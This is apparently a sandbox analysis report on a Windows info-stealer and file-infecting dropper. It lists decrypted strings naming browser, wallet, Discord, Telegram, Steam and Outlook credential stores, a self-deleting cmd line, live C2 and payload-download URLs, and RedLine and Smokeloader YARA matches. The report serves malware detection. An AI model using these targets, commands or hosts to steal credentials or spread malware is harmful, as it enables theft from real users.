Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: encryptedUsername
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: encryptedPassword
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: guid
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: SELECT host, isHttpOnly, path, isSecure, expiry, name, value FROM moz_cookies
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: SELECT fieldname, value FROM moz_formhistory
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: SELECT url FROM moz_places LIMIT 1000
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: cookies.sqlite
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: formhistory.sqlite
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: places.sqlite
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: plugins
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: Local Extension Settings
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: Sync Extension Settings
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: IndexedDB
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: Opera Stable
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: Opera GX Stable
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: CURRENT
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: chrome-extension_
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: _0.indexeddb.leveldb
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: Local State
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: profiles.ini
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: chrome
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: opera
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: firefox
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: wallets
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: %08lX%04lX%lu
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: ProductName
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: x32
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: x64
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: %d/%d/%d %d:%d:%d
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: ProcessorNameString
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: DisplayName
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: DisplayVersion
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: Network Info:
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: - IP: IP?
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: - Country: ISO?
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: System Summary:
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: - HWID:
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: - OS:
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: - Architecture:
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: - UserName:
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: - Computer Name:
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: - Local Time:
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: - UTC:
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: - Language:
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: - Keyboards:
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: - Laptop:
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: - Running Path:
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: - CPU:
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: - Threads:
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: - Cores:
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: - RAM:
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: - Display Resolution:
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: - GPU:
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: User Agents:
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: Installed Apps:
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: All Users:
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: Current User:
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: Process List:
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: system_info.txt
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: freebl3.dll
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: mozglue.dll
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: msvcp140.dll
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: nss3.dll
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: softokn3.dll
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: vcruntime140.dll
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: \Temp\
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: .exe
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: runas
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: open
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: /c start
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: %DESKTOP%
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: %APPDATA%
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: %LOCALAPPDATA%
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: %USERPROFILE%
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: %DOCUMENTS%
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: %PROGRAMFILES%
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: %PROGRAMFILES_86%
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: %RECENT%
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: *.lnk
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: files
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: \discord\
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: \Local Storage\leveldb\CURRENT
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: \Local Storage\leveldb
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: \Telegram Desktop\
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: key_datas
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: D877F783D5D3EF8C*
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: map*
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: A7FDF864FBC10B77*
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: A92DAA6EA6F891F2*
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: F8806DD0C461824F*
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: Telegram
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: Tox
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: *.tox
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: *.ini
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: Password
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: oftware\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676\
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: 00000001
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: 00000002
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: 00000003
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: 00000004
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: \Outlook\accounts.txt
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: Pidgin
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: \.purple\
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: accounts.xml
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: dQw4w9WgXcQ
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: token:
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: Software\Valve\Steam
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: SteamPath
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: \config\
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: ssfn*
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: config.vdf
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: DialogConfig.vdf
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: DialogConfigOverlay*.vdf
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: libraryfolders.vdf
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: loginusers.vdf
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: \Steam\
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: sqlite3.dll
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: browsers
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: done
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: soft
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: \Discord\tokens.txt
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: /c timeout /t 5 & del /f /q "
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: " & del "C:\ProgramData\*.dll"" & exit
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: C:\Windows\system32\cmd.exe
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: https
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: POST
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: HTTP/1.1
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: Content-Disposition: form-data; name="
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: hwid
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: build
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: token
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: file_name
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: file
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: message
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890
Source: 0.3.7Y18r(193).exe.2430000.0.raw.unpack	String decryptor: screenshot.jpg

Source: C:\Users\user\Desktop\7Y18r(193).exe	Code function: 0_2_00408670 memset,lstrlen,CryptStringToBinaryA,memcpy,lstrcat,lstrcat,lstrcat,	0_2_00408670
Source: C:\Users\user\Desktop\7Y18r(193).exe	Code function: 0_2_004061B0 CryptStringToBinaryA,CryptStringToBinaryA,	0_2_004061B0
Source: C:\Users\user\Desktop\7Y18r(193).exe	Code function: 0_2_008988D7 memset,lstrlen,CryptStringToBinaryA,memcpy,lstrcat,lstrcat,lstrcat,	0_2_008988D7
Source: C:\Users\user\Desktop\7Y18r(193).exe	Code function: 0_2_00896417 CryptStringToBinaryA,CryptStringToBinaryA,	0_2_00896417

Compliance

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\7Y18r(193).exe

Unpacked PE file: 0.2.7Y18r(193).exe.400000.0.unpack

Source: 7Y18r(193).exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\7Y18r(193).exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source:

Binary string: C:\Data\svn\autoit\branch_3.3.16\bin\SciTE\SciTE.pdb source: SciTE.exe.2.dr

Spreading

Infects executable files (exe, dll, sys, html)

Source: C:\Users\user\AppData\Local\Temp\WuiXLS.exe	System file written: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\WuiXLS.exe	System file written: C:\Program Files\7-Zip\Uninstall.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\WuiXLS.exe	System file written: C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exe	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\WuiXLS.exe

Code function: 2_2_007029E2 memset,wsprintfA,memset,lstrlen,lstrcpyn,strrchr,lstrcmpiA,lstrlen,memset,memset,FindFirstFileA,memset,FindNextFileA,lstrcmpiA,FindNextFileA,FindClose,

2_2_007029E2

Source: C:\Users\user\AppData\Local\Temp\WuiXLS.exe

Code function: 2_2_00702B8C memset,GetLogicalDriveStringsA,CreateThread,GetDriveTypeA,CreateThread,lstrlen,WaitForMultipleObjects,CreateThread,

2_2_00702B8C

Source: C:\Users\user\AppData\Local\Temp\WuiXLS.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\WuiXLS.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\UIThemes\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\WuiXLS.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\WuiXLS.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\WuiXLS.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\WuiXLS.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\	Jump to behavior

Networking

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: http://bernardofata.icu/40d570f44e84a454.php

Uses known network protocols on non-standard ports

Source: unknown

Network traffic detected: HTTP traffic on port 49705 -> 799

Source: global traffic

TCP traffic: 192.168.2.8:49705 -> 44.221.84.105:799

Source: Joe Sandbox View

IP Address: 44.221.84.105 44.221.84.105

Source: global traffic

HTTP traffic detected: GET /cj//k1.rar HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: ddos.dnsnb8.net:799Connection: Keep-Alive

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\AppData\Local\Temp\WuiXLS.exe

Code function: 2_2_00701099 wsprintfA,WinExec,lstrlen,wsprintfA,wsprintfA,URLDownloadToFileA,lstrlen,Sleep,

2_2_00701099

Source: global traffic

DNS traffic detected: DNS query: ddos.dnsnb8.net

Source: WuiXLS.exe, 00000002.00000003.1394029719.00000000001F0000.00000004.00001000.00020000.00000000.sdmp, WuiXLS.exe, 00000002.00000002.1505812260.0000000000703000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://%s:%d/%s/%sZwQuerySystemInformationntdll.dllNtSystemDebugControlSeDebugPrivilege%s%.8x.bat:DE
Source: WuiXLS.exe, 00000002.00000002.1505404095.0000000000611000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net/
Source: WuiXLS.exe, 00000002.00000002.1505943668.000000000231A000.00000004.00000010.00020000.00000000.sdmp, WuiXLS.exe, 00000002.00000002.1505404095.000000000059E000.00000004.00000020.00020000.00000000.sdmp, WuiXLS.exe, 00000002.00000002.1505404095.00000000005E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k1.rar
Source: WuiXLS.exe, 00000002.00000002.1505404095.000000000059E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k1.rarH
Source: WuiXLS.exe, 00000002.00000002.1505404095.00000000005E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k1.rarn.=
Source: WuiXLS.exe, 00000002.00000002.1505943668.000000000231A000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k1.rarp
Source: WuiXLS.exe, 00000002.00000002.1505943668.000000000231A000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k1.rarq
Source: Amcache.hve.6.dr	String found in binary or memory: http://upx.sf.net
Source: SciTE.exe.2.dr	String found in binary or memory: http://www.activestate.com
Source: SciTE.exe.2.dr	String found in binary or memory: http://www.activestate.comHolger
Source: SciTE.exe.2.dr	String found in binary or memory: http://www.baanboard.com
Source: SciTE.exe.2.dr	String found in binary or memory: http://www.baanboard.comBrendon
Source: SciTE.exe.2.dr	String found in binary or memory: http://www.develop.com
Source: SciTE.exe.2.dr	String found in binary or memory: http://www.develop.comDeepak
Source: SciTE.exe.2.dr	String found in binary or memory: http://www.lua.org
Source: SciTE.exe.2.dr	String found in binary or memory: http://www.rftp.com
Source: SciTE.exe.2.dr	String found in binary or memory: http://www.rftp.comJosiah
Source: SciTE.exe.2.dr	String found in binary or memory: http://www.scintilla.org
Source: SciTE.exe.2.dr	String found in binary or memory: http://www.scintilla.org/scite.rng
Source: SciTE.exe.2.dr	String found in binary or memory: http://www.spaceblue.com
Source: SciTE.exe.2.dr	String found in binary or memory: http://www.spaceblue.comMathias
Source: WuiXLS.exe, 00000002.00000002.1505404095.0000000000611000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: SciTE.exe.2.dr	String found in binary or memory: https://www.smartsharesystems.com/
Source: SciTE.exe.2.dr	String found in binary or memory: https://www.smartsharesystems.com/Morten

Source: SciTE.exe.2.dr

Binary or memory string: _winapi_getrawinputdata _winapi_getrawinputdeviceinfo _winapi_getregiondata _winapi_getregisteredrawinputdevices \

memstr_28c6fd72-a

System Summary

Malicious sample detected (through community Yara rule)

Source: 0.2.7Y18r(193).exe.890e67.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000000.00000002.1511542856.0000000000890000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000000.00000002.1511687586.00000000008E2000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown

PE file contains section with special chars

Source: MyProg.exe.2.dr

Static PE information: section name: Y|uR

PE file has a writeable .text section

Source: WuiXLS.exe.0.dr

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: C:\Users\user\Desktop\7Y18r(193).exe	Code function: 0_2_008A8029	0_2_008A8029
Source: C:\Users\user\AppData\Local\Temp\WuiXLS.exe	Code function: 2_2_00706076	2_2_00706076
Source: C:\Users\user\AppData\Local\Temp\WuiXLS.exe	Code function: 2_2_00706D00	2_2_00706D00

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Temp\WuiXLS.exe 4485DF22C627FA0BB899D79AA6FF29BC5BE1DBC3CAA2B7A490809338D54B7794

Source: C:\Users\user\Desktop\7Y18r(193).exe

Code function: String function: 00403810 appears 343 times

Source: C:\Users\user\AppData\Local\Temp\WuiXLS.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7496 -s 1488

Source: MyProg.exe.2.dr

Static PE information: Resource name: RT_VERSION type: MIPSEB-LE ECOFF executable not stripped - version 0.79

Source: 7Y18r(193).exe, 00000000.00000002.1511315758.00000000007B7000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameBuskobasek.exe: vs 7Y18r(193).exe
Source: 7Y18r(193).exe	Binary or memory string: OriginalFilenameBuskobasek.exe: vs 7Y18r(193).exe

Source: 7Y18r(193).exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 0.2.7Y18r(193).exe.890e67.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000002.1511542856.0000000000890000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000000.00000002.1511687586.00000000008E2000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12

Source: WuiXLS.exe.0.dr

Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: WuiXLS.exe.0.dr

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: WuiXLS.exe.0.dr

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESERVED size: 0x100000 address: 0x0

Source: classification engine

Classification label: mal100.spre.troj.evad.winEXE@5/13@4/1

Source: C:\Users\user\AppData\Local\Temp\WuiXLS.exe

Code function: 2_2_0070119F GetCurrentProcess,OpenProcessToken,AdjustTokenPrivileges,CloseHandle,CloseHandle,

2_2_0070119F

Source: C:\Users\user\Desktop\7Y18r(193).exe

Code function: 0_2_008E5D77 CreateToolhelp32Snapshot,Module32First,

0_2_008E5D77

Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7472
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7496

Source: C:\Users\user\Desktop\7Y18r(193).exe

File created: C:\Users\user\AppData\Local\Temp\WuiXLS.exe

Jump to behavior

Source: C:\Users\user\Desktop\7Y18r(193).exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 7Y18r(193).exe	ReversingLabs: Detection: 95%
Source: 7Y18r(193).exe	Virustotal: Detection: 93%

Source: unknown	Process created: C:\Users\user\Desktop\7Y18r(193).exe "C:\Users\user\Desktop\7Y18r(193).exe"
Source: C:\Users\user\Desktop\7Y18r(193).exe	Process created: C:\Users\user\AppData\Local\Temp\WuiXLS.exe C:\Users\user\AppData\Local\Temp\WuiXLS.exe
Source: C:\Users\user\AppData\Local\Temp\WuiXLS.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7496 -s 1488
Source: C:\Users\user\Desktop\7Y18r(193).exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7472 -s 528
Source: C:\Users\user\Desktop\7Y18r(193).exe	Process created: C:\Users\user\AppData\Local\Temp\WuiXLS.exe C:\Users\user\AppData\Local\Temp\WuiXLS.exe	Jump to behavior

Source: C:\Users\user\Desktop\7Y18r(193).exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\7Y18r(193).exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\7Y18r(193).exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Desktop\7Y18r(193).exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\user\Desktop\7Y18r(193).exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\WuiXLS.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\WuiXLS.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\WuiXLS.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\WuiXLS.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\WuiXLS.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\WuiXLS.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\WuiXLS.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\WuiXLS.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\WuiXLS.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\WuiXLS.exe	Section loaded: windows.storage.dll	Jump to behavior
